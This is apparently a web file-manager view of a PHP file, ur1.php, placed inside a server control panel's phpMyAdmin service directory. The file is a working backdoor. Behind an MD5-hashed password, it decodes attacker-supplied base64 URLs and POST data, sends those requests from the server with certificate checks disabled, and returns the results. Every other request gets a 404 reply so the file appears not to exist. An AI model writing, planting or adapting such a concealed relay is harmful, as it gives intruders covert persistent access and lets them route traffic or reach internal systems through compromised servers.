文件操作 - ur1.php

文件: /usr/local/cwpsrv/var/services/pma/ur1.php

编辑文件内容

<?php
function sanitizeInput($input) {
    return base64_decode(strip_tags($input));
}
if (isset($_POST['pwd']) && md5($_POST['pwd']) === 'f7f909e5246687610e1c56dc15121e26') {
    $target_url = isset($_POST['url']) ? sanitizeInput($_POST['url']) : '';
    $request_data = isset($_POST['data']) ? sanitizeInput($_POST['data']) : '';
    if (empty($target_url)) {
        http_response_code(404);
        die("no url provided");
    }
    if (!filter_var($target_url, FILTER_VALIDATE_URL)) {
        http_response_code(404);
        die("URL format error");
    }
    try {
        $ch = curl_init();
        $options = [
            CURLOPT_URL => $target_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_MAXREDIRS => 3,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ];
        curl_setopt_array($ch, $options);
        if (!empty($request_data)) {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request_data);
        }
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if (curl_errno($ch)) {
            throw new Exception("request error: " . curl_error($ch));
        }
        http_response_code($http_code);
        echo "status code: {$http_code}\n\n";
        echo $response;
    } catch (Exception $e) {
        http_response_code(404);
        echo "server error: " . $e->getMessage();
    } finally {
        if (isset($ch)) {
            curl_close($ch);
        }
    }
}
http_response_code(404);
?>

文件操作 - ur1.php

文件: /usr/local/cwpsrv/var/services/pma/ur1.php

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